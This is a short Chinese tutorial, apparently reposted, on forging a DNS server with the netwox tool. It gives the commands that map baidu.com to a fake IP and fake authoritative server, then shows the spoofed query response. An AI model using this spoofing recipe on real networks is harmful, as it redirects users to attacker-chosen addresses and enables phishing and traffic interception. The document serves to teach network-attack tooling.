如何伪造DNS服务器？

DNS 服务器是进行域名和与之相对应的 IP 地址转换的服务器。正常情况下，用户访问域名网站，首先从 DNS 服务器上或权威名称服务器上获取域名对应的 IP 地址，然后根据该 IP 地址访问网站。

为了能够使用户混淆，netwox 工具提供了编号为 104 的模块。它可以伪造 DNS 服务器，手动设置假的域名与 IP 地址的对应关系。这样，用户会获取一个域名对应的错误 IP 地址。

【实例】在主机 192.168.59.133 上伪造域名 baidu.com 的 DNS 服务器。

1) 伪造域名 baidu.com 的 DNS 服务器，伪造该域名对应的 IP 地址为 110.111.112.113，该域名的权威名称服务器为 123.baidu.com，对应的 IP 地址为 56.67.78.89。

执行命令如下：

root@daxueba:~# netwox 104 -h baidu.com -H 110.111.112.113 -a 123.baidu.com -A 56.67.78.89

root@daxueba:~# netwox 102 -i 192.168.59.133 -n baidu.com -y a

DNS_question_________________________________________________.      #DNS请求
| id=29841  rcode=OK             opcode=QUERY                        |
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=0              |
| baidu.com. A                                                       |
|__________________________________________________________          |
DNS_answer________________________________________________.         #DNS响应
| id=29841  rcode=OK             opcode=QUERY                        |
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=1  add=1              |
| baidu.com. A                                                       |
| baidu.com. A 10 110.111.112.113                                    |
#域名对应的IP地址
| 123.baidu.com. NS 10 123.baidu.com.                                | 
#权威服务器名称
| 123.baidu.com. A 10 56.67.78.89                                    |      
#权威服务器IP地址
|_____________________________________________________________       |

（编辑：核心网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!